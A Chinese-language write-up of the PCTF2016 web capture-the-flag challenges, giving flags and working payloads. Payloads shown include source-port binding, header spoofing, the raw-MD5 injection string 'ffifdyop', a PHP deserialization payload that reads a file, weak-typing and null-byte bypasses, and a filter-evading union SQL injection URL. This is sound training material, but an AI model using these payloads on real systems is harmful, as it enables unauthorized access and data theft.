0%

PCTF2016-Web-WriteUp

web100 PORT51

题目要求用本机的51端口去访问他的网站。 好吧这是最犯蠢的一个题了。哔了狗了。本来简简单单的一行命令就解决的事儿。最简单的payload如下:

curl --local-port 51 http://xxxxxxxx

结果最后我写了两份150行代码,因为考虑到现在的库啊什么的都没办法固定本机的端口,所以我想到了C的socket编程,先我在windows下写好之后,连wireshark抓包抓出来都没问题了,后来再Melody大神的提醒下,知道校网的NAT产生了影响,所以想到了在VPS下跑程序就可以,所以又写了一份linux下的代码,贴一下把,如下:

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<arpa/inet.h>
#include <errno.h>
#define MAXBUF 256
char *request_head = "GET %s HTTP/1.1\r\n"
    "Accept: text/html, application/xml, */*\r\nAccept-Language: zh-cn\r\n"
    "Accept-Encoding: gzip, deflate\r\nHost: %s:%d\r\n"
    "User-Agent: bendawang's Browser <0.1>\r\nConnection: Keep-Alive\r\n\r\n";
#define REMOTE_PORT            32772
#define REMOTE_IP_ADDRESS "103.39.76.105"

#define HTTP_DEF_PORT     32772  
#define HTTP_BUF_SIZE   2048  
#define HTTP_HOST_LEN    256
#define MAX_CMD_LEN        256
#define MAC_ADDR_LEN    12
#define local_port 51   
#define local_ip "XXX.XXX.XXX.XXX"  //自己的IP
char MacAddr[MAC_ADDR_LEN+1];
char *url= "/";
char host[HTTP_HOST_LEN] =REMOTE_IP_ADDRESS;
unsigned short port = HTTP_DEF_PORT;


char* join(char *s1, char *s2)                    
&#123;
    char *result =(char *) malloc(strlen(s1)+strlen(s2)+1);
    if (result == NULL) exit (1);
    strcpy(result, s1);
    strcat(result, s2);
    return result;
&#125;

int recvn(int s, char* recvbuf, unsigned int fixedlen)
&#123;
    int iResult;
    int cnt;
    cnt = fixedlen;
    while ( cnt > 0 ) &#123;
        iResult = recv(s, recvbuf, cnt, 0);
        if ( iResult < 0 )&#123;
            printf("Recieve error!");
            return -1;
        &#125;
        if ( iResult == 0 )&#123;
            printf("Connection Closed!\n");
            return-1;
        &#125;
        recvbuf +=iResult;
        cnt -=iResult;
    &#125;
    return fixedlen;
&#125;

int http_send_client(int ClientSocket,char * a)&#123;
    char * tempurl=url;
    char sendbuf[HTTP_BUF_SIZE]="\0";
    tempurl=join(tempurl,a);
    int sendlen = sprintf(sendbuf, request_head, tempurl, host, port);
    puts(sendbuf);
    //printf("  %d",sendlen);
    getchar();
    int Ret = send(ClientSocket, sendbuf, sendlen, 0);        
    Ret = recv(ClientSocket, sendbuf, HTTP_BUF_SIZE,0);
    printf("%s",sendbuf);
    getchar();
    return Ret;
&#125;


int main()
&#123;
    int ssock;
    int clen;
    struct sockaddr_in server_addr;
    struct sockaddr_in LocalAddr;
    char buf[MAXBUF];
    if((ssock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)&#123;
        perror("socket error:");
        exit(1);
    &#125;
    clen = sizeof(server_addr);
    memset(&server_addr,0,sizeof(server_addr));
    server_addr.sin_family     =AF_INET;
    server_addr.sin_addr.s_addr=inet_addr(REMOTE_IP_ADDRESS);
    server_addr.sin_port       =htons(REMOTE_PORT);
    memset(server_addr.sin_zero, 0, 8);

    memset(&LocalAddr,0,sizeof(LocalAddr));
    LocalAddr.sin_family = AF_INET;
    LocalAddr.sin_port = htons(local_port);
    inet_pton(AF_INET,local_ip,&LocalAddr.sin_addr);

    int Ret= bind(ssock,(struct sockaddr*)&LocalAddr,sizeof(LocalAddr));
        //memset(server_addr.sin_zero, 0, 8);
        //int Ret =bind(ssock,(struct sockaddr *)&LocalAddr,sizeof(LocalAddr));
        //int Ret = bind(ssock, (struct sockaddr*)&LocalAddr, sizeof(LocalAddr));
    if (Ret != 0)
        &#123;
                printf("bind error\n");
        &#125;
    if(connect(ssock,(struct sockaddr *)&server_addr,clen)<0)&#123;
        perror("connect error:");
        exit(1);
    &#125;
    //printf("1");
    Ret = connect(ssock,(struct sockaddr*)&server_addr, sizeof(server_addr));
    while (1)&#123;
            http_send_client(ssock, "");
        &#125;

    memset(buf,0,MAXBUF);
    if(read(ssock,buf,MAXBUF)<=0)
    &#123;
        perror("read error:");
        exit(1);
    &#125;
    close(ssock);
    printf("\n read: %s\n",buf);
    return 0;
&#125;

程序运行截图如下:

所以最后的flag就是PCTF{M45t3r_oF_CuRl}

web150 LOCALHOST

根据提示说是localhost access only!! 那直接在请求头上加上X-Forwarded-For:127.0.0.1就可以了,如下

web250 Login

通过抓包在响应头里面看到hint如下:

hint : "select * from `admin` where password='".md5($pass,true)."'"

根据http://www.ilrose.com/blog/2015/07/08/md5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84sql-%E6%B3%A8%E5%85%A5/, 直接输入ffifdyop,得到flag为PCTF{R4w_md5_is_d4ng3rous}

web300 神盾局的秘密

这里查看源码看到有一个showimg.php,然后访问这个页面,并随便给参数img附一个参数,得到这个错误: 读取文件错误,那么问题来了,img参数显然是base64编码的,通过img我就可以读取任意代码了,读取showimg.php代码

<?php
    $f = $_GET['img'];
    if (!empty($f)) &#123;
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) &#123;
            readfile($f);
        &#125; else &#123;
            echo "File not found!";
        &#125;
    &#125;
?>

再看看我们的index.php的代码如下:

<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) &#123;
        $x = unserialize($g);
    &#125;
    echo $x->readfile();
?>

再看看我们的sheild.php:

<?php
    //flag is in pctf.php
    class Shield &#123;
        public $file;
        function __construct($filename = '') &#123;
            $this -> file = $filename;
        &#125;

        function readfile() &#123;
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) &#123;
                return @file_get_contents($this->file);
            &#125;
        &#125;
    &#125;
?>

看到hint说是pctf.php里面有flag,直接访问或是通过showimg.php都是不行的。 其实读到index.php就应该已经看出来了这里肯定有反序列化漏洞了, 这里先打一波自己博客的广告,之前我写过这方面的博客,大家可以看看:

http://blog.csdn.net/qq_19876131/article/details/50926210

好的我们继续,然后shield.php中果然给出了Shield类,那么又说了flag在pctf.php中,那么直接给class传参获取pctf.php内容即可。那么有如下代码生成payload

<?php
class Shield &#123;
        public $file;
        function __construct($filename = '') &#123;
            $this -> file = $filename;
        &#125;

        function readfile() &#123;
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) &#123;
                return @file_get_contents($this->file);
            &#125;
        &#125;
    &#125;
$a=new Shield();
$a->file="pctf.php";
echo serialize($a);
?>

得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 所以最后的payload就是:

http://web.phrack.top:32779/?class=O:6:%22Shield%22:1:&#123;s:4:%22file%22;s:8:%22pctf.php%22;&#125;

在源码里面看到flag: PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

web500 IN A Mess

在源码中获得提示index.phps,访问后得到代码如下,不由得吐槽一句,终于遇到最喜欢的代码题了,爆炸。。

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
&#123;
    header('Location: index.php?id=1');
    exit();
&#125;
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
&#123;
    echo 'Hahahahahaha';
    return ;
&#125;
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
&#123;
    require("flag.txt");
&#125;
else
&#123;
    print "work harder!harder!harder!";
&#125;
?>

先看参数id,有代码可知id=0a,弱类型比较。 再看看a,他要输入一个文件使内容为1112 is a nice lab!,在自己的服务器上建一个名为1的文件内容就是1112 is a nice lab!,然后把自己的服务器ip转为10进制ip来绕过对.的匹配。 最后是b,已知eregi遇到%00终止,那么我们直接构造b=%0044444绕过之后得到如下:

一看到就激动了,发现并不是flag,好吧,我的第一反应是vim里面的正则,/是搜索嘛,然后后面恰好又是一个正则,那么flag一定就是HT2mCpcvOLf这个了,结果并不是。。 。 。 。 。 折腾了好久,后来才发现把它复制到url上。。。然后进入到本题的第二个部分,注入注入! 试了试,过滤不多,就过滤了像是空格啊,回车啊,tab啊之类根本没什么屁用的东西,像是select,from什么的也都只被正则替换了一次,用selselectect就能绕过,另外还过滤了0809,20等等敏感的数字。 好吧,这里我再次犯了个蠢,我不知道当时怎么搞的,我以为union被完全过滤了,害的我后面用盲注,明明直接可以很简单就爆出来的。 报警了。 盲注坑就坑在它过滤了08,09,0a,20等等,那么在脚本爆破的时候,像是120,0x0a,20这些数字都是血崩的,最后我是脚本盲注加手调出来的。 脚本我就不贴了(忘了丢哪儿去了),反正比较简单,主要是一定要手动确认下各个位置,最后爆出来就是一个表content表,和三个字段id,context,title。 flag就在context字段里面,而那个hi666就是title字段的值。 . . . 后来才醒悟过来union也和select之流一样并没有被完全过滤,真是蠢啊!!!

后来试了试用union去回显爆库,它是总共有三个字段,显示的是第三个字段,像是空格被过滤的话用各种括号就可以绕过了,最后的payload如下:

http://web.phrack.top:32783/^HT2mCpcvOLf/index.php?id=0%26(1=2)uniounionn(selselectect(1),(2),(context)frfromom(content))

得到最后的flag就是PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

真是哔了狗了,明明很简单的题,总是自己搞复杂了。炸! 不过也没事儿,盲注毕竟是万能了,当做熟悉下好了。(真的没有安慰自己)

web350 flag在管理员手里

一道原题不想去再看了,索性就没做了,放个链接 http://www.2cto.com/Article/201405/298779.html